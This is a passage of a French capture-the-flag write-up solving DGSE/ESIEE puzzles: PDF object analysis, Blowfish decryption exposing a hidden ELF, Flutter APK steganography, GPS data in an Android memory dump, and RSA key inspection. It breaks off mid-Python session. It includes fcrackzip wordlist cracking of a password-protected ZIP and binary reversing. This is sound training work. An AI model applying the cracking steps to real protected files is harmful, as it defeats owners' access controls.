Le calculateur Magma en ligne a été employé, et le simple fait de rentrer les valeurs a produit le résultat :

p := 207419578609033051199924683129295125643;
K := GF(p);
n := K ! 183512102249711162422426526694763570228;
y := K ! 17;
x := Log(y, n);
x;

Et la solution est : 697873717765.

Le Polyglotte (Stegano, 150 points)

Le contexte opérationnel pour ce challenge est :

 Nous avons intercepté un fichier top secret émanant d'Evil Country, il est très certainement en rapport avec leur programme nucléaire. Personne n'arrive à lire son contenu.

Pouvez-vous le faire pour nous ? Une archive était dans le même dossier, elle peut vous servir

Le flag est de la forme : DGSESIEE{x} avec x un hash que vous trouverez

message.pdf (SHA256=e5aa5c189d3f3397965238fbef5bc02c889de6d5eac713630e87377a5683967c) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message.pdf
secrets.zip (SHA256=ae5877bb06ac9af5ad92c8cd40cd15785cbc7377c629ed8ec7443f251eeca91f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/secrets.zip 

Deux fichiers sont fournis :

  • message.pdf : il n’y a pas d’information intéressante à première vue à l’ouverture.

  • secrets.zip : une demande de mot de passe apparaît à la décompression pour un fichier « hint.png » dont on ne connaît rien.

Analyse de message.pdf

Puisqu’il n’y a pas d’information utile de prime abord, une approche différente a été tentée. Avec l’outil de Dider Stevens appelé pdf-parser, le fichier est parcouru pour afficher les objets contenus :

  • code HTML :
<html>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Flag</title>
        <meta charset="utf-8">
    </head>

    <body>
        <script>
            var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54];
        </script>
        <!----!>
        <script>for(i=0;i<flag.length;i++){flag[i] = flag[i]+4} alert(String.fromCharCode.apply(String, flag));</script>
    <body>
</html>

Il y a là du Javascript qui fait afficher un fenêtre popup avec « _4aee=7<e5: » écrit dedans.

  • objets de flux
7 0 obj
<< /Length 50 >>
stream
BT
/F1 50 Tf
10 400 Td
0 0 0 rg
<5b 31 5d 34 64 38 36 32 64 35 61> Tj
ET
endstream
endobj

8 0 obj
<< /Length 50 >>
stream
BT
/F1 70 Tf
150 700 Td
255 255 255 rg
(Top Secret) Tj
ET
endstream
endobj

9 0 obj
<< /Length 50 /MediaBox [0 0 20 20]
>>
stream
BT
/F1 9 Tf
30 600 Td
1 0 0 700 0 0 Tm
0 0 0 rg
<43 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 6e 63 65 72 6e 65 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6c 65 69 6c 20 61 74 6f 6d 69 71 75 65 2e 0a 43 65 74 74 65 20 6f 70 65 72 61 74 69 6f 6e 20 65 73 74 20 73 74 72 69 63 74 65 6d 65 6e 74 20 63 6f 6e 66 69 64 65 6e 74 69 65 6c 6c 65 20 65 74 20 6e 65 20 64 6f 69 74 20 65 6e 20 61 75 63 75 6e 20 63 61 73 20 ea 74 72 65 20 64 65 76 6f 69 6c 65 65 2e 20 0a 4c 65 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 20 73 75 72 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6e 74 20 64 69 73 73 65 6d 69 6e e9 65 73 20 64 61 6e 73 20 63 65 20 66 69 63 68 69 65 72 2e 0a 43 68 61 71 75 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 65 73 74 20 69 64 65 6e 74 69 66 69 65 65 20 70 61 72 20 75 6e 20 6e 6f 6d 62 72 65 20 70 61 72 20 65 78 20 3a 20 0a 5b 30 5d 61 65 37 62 63 61 38 65 20 63 6f 72 72 65 73 70 6f 6e 64 20 61 20 6c 61 20 70 72 65 6d 69 e8 72 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 71 75 20 69 6c 20 66 61 75 74 20 63 6f 6e 63 61 74 65 6e 65 72 20 61 75 20 72 65 73 74 65 2e> Tj
ET
endstream
endobj

11 0 obj
<< /Length 50 >>
stream
BT
/F1 70 Tf
150 700 Td
255 255 255 rg
(Top Secret) Tj
ET
endstream
endobj

On décode les octets contenus entre « < » and « > » pour chaque objet :

  • [1]4d862d5a
  • (Top Secret)
  • Ce document concerne l operation soleil atomique.
    Cette operation est strictement confidentielle et ne doit en aucun cas être devoilee. Les informations sur l operation sont disseminées dans ce fichier. Chaque partie de l information est identifiee par un nombre par ex : [0]ae7bca8e correspond a la première partie de l information qu il faut concatener au reste.

Selon ce qui est écrit dans la dernière portion, le « [1]… » représente quelque chose à conserver pour plus tard.

Analyse de secret.zip

Avec un cracker de ZIP nommé fcrackzip, on retrouve le mot de passe de l’archive :

$ fcrackzip -D -p ./crackstation-human-only.txt -v -u secrets.zip
found file 'hint.png', (size cp/uc 137659/137622, flags 9, chk 76d4)
found file 'info.txt', (size cp/uc    109/   107, flags 9, chk 9748)
checking pw fate3147

PASSWORD FOUND!!!!: pw == finenuke

Avec ce mot de passe pour décompresser secrets.zip, on obtient à nouveau deux fichiers :

  • hint.png: c’est un poisson-globe, ce qui rappelle le fameux algorithme de chiffrement blowfish.

  • infos.txt:
Ange Albertini
key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'
[3]4037402d4

Ange Albertini est bien connu pour sa technique consistant à embarquer un fichier dans un autre à l’aide de chiffrement par bloc. On dispose également d’une clef et d’un IV, ce qui pourrait servir à un chiffrement de type Blowfish. Au final, on obtient [3]4037402d4.

Avec ces indications, on chiffre le PDF d’origine message.pdf via Blowfish, dans l’espoir d’obtenir un nouveau fichier. Voici le code Python mis en oeuvre :

from Crypto.Cipher import Blowfish

key = b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv = b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'

algo = Blowfish.new(key, Blowfish.MODE_CBC, iv)

with open('message.pdf', 'rb') as f:
  d = f.read()

d = algo.encrypt(d)

with open('dec.bin', 'wb') as f:
  f.write(d)

Et voici le résultat de binwalk sur le nouveau fichier trouvé :

$ binwalk -e dec.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
72613         0x11BA5         ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)

C’est en fait un fichier ELF embarqué dans le PDF ! On utilise le décompilateur d’IDA pour observer son contenu et on tombe sur :

checkpassword(puVar2);
   if ((puVar2[1] ^ *puVar2) == 0x69) {
      if ((puVar2[2] ^ puVar2[1]) == 0x6f) {
         if ((puVar2[3] ^ puVar2[2]) == 0x38) {
            if ((puVar2[4] ^ puVar2[3]) == 0x56) {
               if ((puVar2[5] ^ puVar2[4]) == 0x50) {
                  if ((puVar2[6] ^ puVar2[5]) == 0x57) {
                     if ((puVar2[7] ^ puVar2[6]) == 0x50) {
                        if ((puVar2[8] ^ puVar2[7]) == 0x56) {
                           if ((puVar2[9] ^ puVar2[8]) == 6) {
                              if (puVar2[9] == 0x34) {
                                 puts(&aBravo);
                                 exit(0);
                              }
                           }
                        }
                     }
                  }
               }
            }
         }
      }
   }

On implémente la chaîne de conditions à l’envers avec un autre code Python :

mdp = [ 0x34 ]
mdp = [ mdp[0] ^ 6 ] + mdp
mdp = [ mdp[0] ^ 0x56 ] + mdp
mdp = [ mdp[0] ^ 0x50 ] + mdp
mdp = [ mdp[0] ^ 0x57 ] + mdp
mdp = [ mdp[0] ^ 0x50 ] + mdp
mdp = [ mdp[0] ^ 0x56 ] + mdp
mdp = [ mdp[0] ^ 0x38 ] + mdp
mdp = [ mdp[0] ^ 0x6f ] + mdp
mdp = [ mdp[0] ^ 0x69 ] + mdp

print(mdp)
print(bytes(mdp))

Résultat du script :

$ python3 script.py
[91, 50, 93, 101, 51, 99, 52, 100, 50, 52]
b'[2]e3c4d24'

On a maintenant [2]e3c4d24.

Etape finale

Pour résumer, on dispose de :

  • [1]4d862d5a
  • [2]e3c4d24
  • [3]4037402d4

Selon l’exemple donné dans le fichier info.txt de secrets.zip, il y a une chaîne [0] qui manque toujours. Or, on ne sait toujours pas ce que le code Javascript du début signifiait, mais il pourrait servir.

Pour rappel, il correspondait au code suivant :

var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54];
for (i = 0; i < flag.length; i++) {
    flag[i] = flag[i] + 4
}
alert(String.fromCharCode.apply(String, flag));

On supprime le « +4 » du script et on obtient la dernière partie : [0]aa938a16

Comme indiqué dans info.txt, on concatène chaque partie et on trouve le flag : DGSESIEE{aa938a164d862d5ae3c4d244037402d4}.

Sous l'océan (Forensic, 50 points)

L’indication pour cette mission est la suivante :

Nous pensons avoir retrouvé la trace d'Eve Descartes. Nous avons reçu un fichier anonyme provenant d'un smartphone Android (probablement celui de son ravisseur). Retrouvez des informations dans son historique de position.

Le flag est de la forme DGSESIEE{x} avec x une chaine de caractères

memdump.txt (SHA256=29c702ff8dc570319e5e8d05fc4cb96c1536b595b9a4e93d6205774f9afd2bff) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/memdump.txt

Seul un fichier memdump.txt est disponible comme base de travail. Dans les faits, ce fichier est un dump mémoire d’un mobile Android, et est supposé contenir un historique de locations GPS associé à Eve Descartes.

En recherchant le mot « gps » dans le fichier texte, quelque chose d’intéressant apparaît : un série de localisations particulières. Chacun de ces localisations est une liste de coordonnées GPS.

$ cat memdump.txt
[...]
Historical Records by Provider:
    com.google.android.gms: gps: Interval 360 seconds: Duration requested 0 total, 0 foreground, out of the last 8 minutes: Currently active
    android: passive: Min interval 0 seconds: Max interval 1800 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active
    com.google.android.gms: passive: Interval 0 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active
  Last Known Locations:
    gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
    passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
  Last Known Locations Coarse Intervals:
    gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
    passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
  Custom Location History :
  Custom Location 1
                gps: Location[gps -47,1462046   30,9018186 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1963297   30,9012294 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1970164   30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1438013   30,8652827 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1448313   30,9642508 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
        Custom Location 2
                gps: Location[gps -47,0820032   30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1300684   30,8643986 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1304118   30,9006402 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,0789133   30,9003456 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,0847498   30,8131067 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1307551   30,8148758 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1304118   30,8340395 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
                gps: Location[gps -47,1084391   30,8319759 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}]
[...]

Nous avons trouvé un site Web qui aide à visualiser ces coordonnées. Pour chacune des localisations particulières, un jeu de points a été renseigné, des lignes allant du premier au dernier point ont été tracées, et au final ces résultats ont été obtenus :

Comme certains symboles apparaissent plusieurs fois, le motif DGSESIEE a été rapidement identifié, et a pu être obtenu en pivotant les lettres de 90° et en les retournant.

Le drapeau était : DGSESIEE{OC34N}.

Steganosaurus (Forensic, 400 points)

Les instructions pour cette mission sont :

Nos agents ont trouvé dans le camion de livraison une clef USB. Nous vous transférons le filesystem de cette dernière et espérons que votre grande capacité de réflexion pemettra de révéler les secrets les plus sombres d'Evil Country !

Le flag est de la forme DGSEESIEE{x} avec x une chaine de caractères. (Attention au DGEESIEE, une erreur de typo s'est glissée dans le flag)

message (SHA256=3889febebd6b1d35c057c3ba3f6f722798f029d6d0321b484305922a3d55d4d8) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message 

Le fichier fourni semble être une image de disque :

$ file message 
message: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 7256064, sectors 266240 (volumes > 32 MB), FAT (32 bit), sectors/FAT 2048, reserved 0x1, serial number 0xccd8d7cd, unlabeled

Cette image peut être montée en tant que ressource locale, et livre les premières étapes du challenge :

# mkdir /tmp/disk
# mount -o loop message /tmp/disk/

# ls -lh /tmp/disk/
total 37M
-rwxr-xr-x 1 root root 532 oct.  15 17:48 readme
-rwxr-xr-x 1 root root 37M juil.  8 16:02 steganausorus.apk

# cat /tmp/disk/readme 
Bonjour evilcollegue !
Je te laisse ici une note d'avancement sur mes travaux !
J'ai réussi à implémenter complétement l'algorithme que j'avais présenté au QG au sein d'une application.
Je te joins également discrétement mes premiers résultats avec de vraies données sensibles ! Ils sont bons pour la corbeille mais ça n'est que le début !
Je t'avertis, l'application souffre d'un serieux defaut de performance ! je m'en occuperai plus tard.
contente-toi de valider les résultats.
Merci d'avance

For the worst,

QASKAB

La mention de la poubelle dans le message amène à de plus amples investigations, et à un fichier appelé flag.png :

# find /tmp/disk/
/tmp/disk/
/tmp/disk/readme
/tmp/disk/steganausorus.apk
/tmp/disk/.Trash-1000
/tmp/disk/.Trash-1000/info
/tmp/disk/.Trash-1000/info/flag.png.trashinfo
/tmp/disk/.Trash-1000/files
/tmp/disk/.Trash-1000/files/flag.png

# file /tmp/disk/.Trash-1000/files/flag.png
/tmp/disk/.Trash-1000/files/flag.png: PNG image data, 1000 x 514, 8-bit/color RGBA, non-interlaced

Note : le fichier peut également être extrait en utilisant binwalk directement :

$ binwalk message | grep -i png
2114048       0x204200        PNG image, 1000 x 514, 8-bit/color RGBA, non-interlaced

Comme l’image flag.png ne donne pas plus d’indications (pour l’instant), l’attention reste sur l’application Android, qui peut être désassemblée :

$ apktool d steganausorus.apk -o steg
I: Using Apktool 2.3.4-dirty on steganausorus.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/XXX/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Le résultat est relativement volumineux :

$ du -sch steg
116M	steg
116M	total

Certains éléments font référence à « flutter » :

$ find steg/assets/
steg/assets/
steg/assets/flutter_assets
steg/assets/flutter_assets/isolate_snapshot_data
steg/assets/flutter_assets/LICENSE
steg/assets/flutter_assets/vm_snapshot_data
steg/assets/flutter_assets/AssetManifest.json
steg/assets/flutter_assets/packages
steg/assets/flutter_assets/packages/cupertino_icons
steg/assets/flutter_assets/packages/cupertino_icons/assets
steg/assets/flutter_assets/packages/cupertino_icons/assets/CupertinoIcons.ttf
steg/assets/flutter_assets/kernel_blob.bin
steg/assets/flutter_assets/fonts
steg/assets/flutter_assets/fonts/MaterialIcons-Regular.ttf
steg/assets/flutter_assets/FontManifest.json

A l’aide d’une rapide recherche, il apparaît que le fichier kernel_blob.bin est lié à Flutter, un ensemble d’outils graphiques de Google pour construire de belles et natives applications pour mobiles, Web et ordinateurs depuis une base de code unique.

Des comptes rendus précédents pour le même genre de challenge apportent un peu d’aide: le noyau contient du code source, and le mot clef MyHomePageState peut être un bon point de départ afin d’identifier le code principal de l’application.

Par ailleurs, il semble n’exister qu’un seul fichier de code intéressant pour le challenge actuel, ce qui épargne pas mal de temps :

$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$'
[...]
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_manager.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_wrapper.dart
file:///D:/stegapp/stegapp/lib/main.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_buffers.dart
file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_data.dart
[...]

$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' | wc -l
913

Les sauts de ligne du code source extrait peuvent être convertis avec l’outil dos2unix au besoin.

Le challenge se réduit à lire du code :

  • le message secret est transcrit en binaire avec un appel à MessageToBinaryString() ;
  • l’image d’entrée est convertie en données binaires avec la méthode toRadixString() ;
  • comme pour un processus de compression, des morceaux du message binaire sont recherchés au sein de l’image binaire afin de constituer une sorte de dictionnaire ;
  • l’image finale est une copie de l’image d’origine, avec ses premiers pixels écrasés par la taille du dictionnaire, la taille du message secret et tous les couples (emplacement, taille conservée) composant le dictionnaire :
    String stringtowrite="";

    stringtowrite+=offsetarray.length.toRadixString(2).padLeft(datasizebit,'0')+lenghtsizebit.toRadixString(2).padLeft(datasizebit,'0');

    offsetarray.forEach((listofdata){
//      listofdata.forEach((data){
//        print(data.toRadixString(2).padLeft(datasizebit,'0'));
        stringtowrite+=listofdata[0].toRadixString(2).padLeft(datasizebit,'0')+listofdata[1].toRadixString(2).padLeft(lenghtsizebit,'0');
      });

Un morceau de code capital est :

String Megastringtosearch= MegaString.substring((MegaString.length/4).round());

Ainsi, le premier quart de l’image est sauté pendant la recherche des motifs.

La documentation pour Image Class est utile pour comprendre comment l’API fonctionne sans avoir à lancer l’application :

operator [](int index) → int
   Get a pixel from the buffer. No range checking is done. 

getPixel(int x, int y) → int
   Get the pixel from the given x, y coordinate. Color is encoded in a Uint32 as #AABBGGRR. No range checking is done.

Un zoom sur le coin supérieur auche de flag.png confirme que quelque chose est bien encodé dans les données de l’image :

Le script Python unsteg.py inverse le processus de dissimulation :

$ python3 ./unsteg.py 
[i] Size: 1000 x 514
[i] Pixel width: 4
[i] Offset data size: 12336000
[i] Data size bit: 24
[i] Offset array: 8
[i] Length size bit: 8
[i] Hidden: 19 bits at offset 3318975
[i] Hidden: 24 bits at offset 7252546
[i] Hidden: 26 bits at offset 4093570
[i] Hidden: 18 bits at offset 3084414
[i] Hidden: 22 bits at offset 4123951
[i] Hidden: 24 bits at offset 5062908
[i] Hidden: 22 bits at offset 7279338
[i] Hidden: 13 bits at offset 3102140
[i] Total: 168
[!] Flag: DGSEESIEE{FL4GISH3R3}

Stranger RSA (Crypto, 200 points)

La description de ce challenge est :

Un de nos agents est parvenu à dérober une clé privée et un fichier chiffré à Evil Gouv. Retrouvez l'information, avec un peu d'imagination

Le flag est juste une chaîne de caractères (sans le DGESIEE{})

private.pem (SHA256=84f2c60b3d796a01e7762777923a8921433bce8ead72bc94fa26d1676ecef637) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/private.pem
EVIL-FILE.txt.enc (SHA256=aee3dd5b398689bb73a207a52d56a130bca8fb30e3261e419ab22026b447b5ab) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/EVIL-FILE.txt.enc 

Une clef privée et un message chiffré sont à disposition.

La taille de la clef est vraiment surprenante :

$ openssl pkey -in private.pem -noout -text | head -1
RSA Private-Key: (10375 bit, 2 primes)

La taille est de 10375 bits, ce qui correspond à 10375 / 8 = 1296.875 octets.

Curieusement, le fichier chiffré a la même taille :

$ ls -l key.raw EVIL-FILE.txt.enc
-rw-r--r-- 1 XXXXX XXXXX 1297 oct. 21 14:42 EVIL-FILE.txt.enc

La première chose à faire est d’utiliser la clef pour lire le message ; malheureusement, cela ne fournit pas beaucoup d’information.

$ openssl rsautl -decrypt -in EVIL-FILE.txt.enc -out /dev/stdout -inkey private.pem
221 x 7

En observant les informations contenues dans la clef privée, un des paramètres se révèle assez étrange en décimal :

$ cat private.pem | openssl rsa -text -noout
[...]
exponent1:
    01:fe:6f:62:70:d2:01:6f:a0:09:2f:bc:3d:f8:40:
    f6:0c:eb:5a:ff:b1:cb:46:c6:ae:11:a9:f8:ba:16:
    bc:bc:10:9a:ab:65:e3:b2:e1:8f:fb:e5:73:b9:af:
    1c:e7:34:96:67:b2:c8:49:95:49:83:41:9c:91:44:
    58:b1:e5:a2:2f:bf:43:b6:65:d6:bb:ea:83:fc:8e:
    5f:c3:50:bf:39:b1:25:02:2c:8b:af:94:f1:8c:f1:
    a5:96:c5:79:81:33:6c:42:e0:2b:61:7c:25:8e:3c:
    a6:d7:25:ca:5b:e5:56:76:1b:77:fc:b6:41:c3:7b:
    40:4b:7d:2d:14:4a:13:09:fd:8e:98:19:dd:fc:5c:
    d2:01:82:a7:06:cc:93:00:20:c9:aa:af:fd:11:f3:
    33:e9:bf:f9:02:9c:0f:6b:ee:db:36:53:eb:30:e0:
    c6:59:17:de:0a:5f:4a:44:6a:07:ec:96:e9:18:35:
    cc:f9:f7:35:0b:48:03:c5:4b:b2:ae:42:77:8c:0f:
    70:ee:78:c7:fb:70:92:5b:56:c0:08:80:c2:0c:53:
    4b:39:14:f0:74:b3:06:8a:b3:c8:47:c0:d7:e7:ee:
    6c:31:64:e0:f6:43:e8:6f:ef:b7:4e:74:82:1b:65:
    fe:07:67:6d:82:29:13:f6:9d:f3:ba:88:43:64:88:
    58:ec:08:9a:58:78:87:bf:30:0d:3e:5b:3a:0d:7c:
    c0:df:41:c2:cc:65:6e:86:ca:cc:94:13:e8:d6:d7:
    22:85:bf:ed:2e:d1:c8:b5:38:93:70:a2:35:f5:c4:
    98:2a:f0:b3:38:15:67:88:7a:42:4d:96:c7:6e:5f:
    8d:e0:9e:0c:56:cc:e8:3b:ac:4c:b7:c8:2f:8d:f9:
    de:f0:1c:fc:e3:82:9a:ab:b8:23:86:9f:27:6c:b3:
    07:ae:00:26:b0:af:56:db:2b:db:3e:38:dc:73:ad:
    ee:76:3c:68:86:2b:7e:56:2a:f2:88:d7:64:b2:ed:
    bf:da:d7:f2:94:9a:ef:51:d5:19:27:29:3b:05:01:
    07:49:c9:84:83:f2:cb:aa:6e:13:08:66:83:c8:35:
    f3:0a:59:fe:0a:52:4a:61:7d:fc:f6:13:bf:d4:35:
    88:70:bb:a8:65:19:33:29:7d:06:f2:07:01:7e:25:
    c5:a9:40:c3:4e:94:89:5e:46:c4:b9:c6:0a:f9:ed:
    5a:51:81:a5:7c:d1:f8:db:4c:ee:a1:7f:3b:3b:7e:
    0b:da:3a:21:6a:de:52:d6:95:bc:87:31:62:88:f6:
    13:0e:a0:c2:9e:61:cc:e7:77:31:5e:49:91:bc:42:
    9c:e2:a0:42:66:79:05:f2:bd:b6:e9:db:eb:d3:86:
    83:57:ca:71:92:94:fc:fe:07:49:df:3d:e3:65:73:
    c0:64:b2:e1:23:82:f8:15:b5:41:cb:23:32:9b:59:
    7a:7e:01:af:f4:59:da:46:be:b3:e8:ab:72:42:bd:
    e6:ef:04:06:b7:5a:21:14:61:7b:91:cb:c9:b4:be:
    b2:8b:9f:50:c6:37:6f:14:ad:06:ff:47:eb:9d:97:
    6e:09:25:19:ce:78:91:4e:08:0b:ec:ff:f3:42:ab:
    a8:ae:ce:0e:08:50:24:33:84:ee:b8:a1:d4:5f:0e:
    4f:df:a3:fe:db:c6:74:7a:a5:62:39:3a:87:c6:a7:
    0f:e2:b9:a4:49:8f:df:dc:ed:8f:cc:a3:7b:3a:1d:
    16:6f:55:e5
[...]
$ python3
>>> p = """02:91:09:7c:c4:99:b5:bb:b9:da:2a:e2:ff:1b:84:
...     b3:ea:15:a9:1c:21:8f:f4:fc:ff:59:1b:a2:e6:76:
...     f5:67:a2:b6:6b:43:0f:61:38:28:74:09:0c:74:8b:
...     92:94:93:d0:50:a8:0f:06:98:3e:f4:52:04:6b:48:
...     aa:6c:56:38:d8:2c:bf:4c:00:96:c5:5e:65:95:31:
...     f8:81:af:dd:75:91:8e:7b:84:8a:27:00:41:d1:2c:
...     a6:ef:40:73:8f:12:e7:24:84:21:1c:fd:54:8d:e2:
...     32:ec:67:58:45:81:b9:f7:4d:12:2c:23:44:f6:c3:
...     73:5e:3e:69:55:f2:23:a3:af:f4:af:61:c9:62:d6:
...     0c:28:d9:fa:f5:87:8e:63:8e:17:ba:dc:b1:09:e2:
...     f7:96:78:4e:4a:4c:e6:53:99:2e:6f:70:2a:04:c9:
...     5c:65:3c:90:60:af:ce:23:d7:79:ae:cc:f4:09:ee:
...     10:d5:36:3f:81:d7:2f:f1:c1:fe:57:2c:34:ba:27:
...     a0:55:ce:d1:4a:49:a9:12:f0:fb:a4:54:f7:a6:15:
...     9e:56:1a:0d:9f:d1:f5:82:92:2b:e1:ff:7e:d7:a8:
...     02:55:05:30:d6:a9:d7:9d:16:97:a8:73:34:d3:19:
...     85:0a:46:51:3d:e3:7d:ca:87:e9:31:ed:c9:b3:5e:
...     e3:26:97:dc:34:96:8f:e7:04:fa:df:97:60:ac:6f:
...     ef:e3:db:1f:d1:8a:a8:be:63:df:ef:6e:0c:9f:d0:
...     04:cf:b1:41:3a:64:18:c5:fe:0d:6b:c7:c2:41:47:
...     04:30:ea:e7:27:b7:07:cd:91:37:0e:89:5f:59:2e:
...     df:82:65:e4:da:43:f4:6b:0f:89:eb:bb:36:62:75:
...     04:aa:7d:f2:d4:33:eb:c2:30:53:80:0f:08:c2:18:
...     b3:2a:7c:8a:03:df:2c:a1:c1:d3:23:ca:5a:8c:6a:
...     90:e3:e3:27:14:c9:44:4c:c1:52:ca:99:f2:98:c3:
...     fd:1b:57:7c:5e:12:b4:40:2e:3b:b1:da:fb:f0:40:
...     95:0b:f0:d3:a6:4b:a3:fd:ff:5d:1f:5f:7b:f9:e5:
...     01:66:39:e7:c9:4b:cc:02:2c:8a:83:99:41:6f:70:
...     76:21:96:8e:7f:f1:51:bd:72:fe:98:f1:b0:0a:03:
...     22:f5:dd:92:0a:e1:47:33:a8:c4:8a:63:09:76:74:
...     0c:aa:40:36:b2:a7:be:d2:81:3b:45:f3:36:53:bb:
...     ef:c0:27:3c:c6:44:26:32:aa:77:c0:ea:cc:db:25:
...     ae:3a:0b:16:92:61:38:30:b1:46:3f:f3:b0:fc:df:
...     d0:e2:0c:64:f5:25:80:67:f5:82:7a:09:2e:01:13:
...     e5:3d:f7:0e:8e:72:d1:ba:02:ac:a8:37:ec:f3:46:
...     4f:de:4e:e3:cd:f0:df:9c:ca:e4:0e:4e:0b:6f:c6:
...     58:df:b5:e5:57:5d:f7:d1:39:3e:36:e2:23:49:be:
...     23:f7:2a:5a:f1:e5:3b:8e:23:03:ed:a7:80:cf:ec:
...     68:31:90:f1:0d:de:56:a5:00:92:51:a1:6d:1b:65:
...     f5:29:8e:cd:6c:e3:df:2b:6b:56:e1:6b:26:5b:7c:
...     52:3b:4e:11:fe:0a:38:3b:7f:7e:4d:a8:12:e8:f9:
...     8c:71:bc:12:b4:0d:65:66:e4:e2:03:fc:6c:d0:51:
...     5e:01:08:8d:86:cd:c6:cd:f5:24:9b:00:92:91:12:
...     6a:65:7d:13""".replace(':','').replace(' ','').replace('\n','')
>>> int(p, 16)
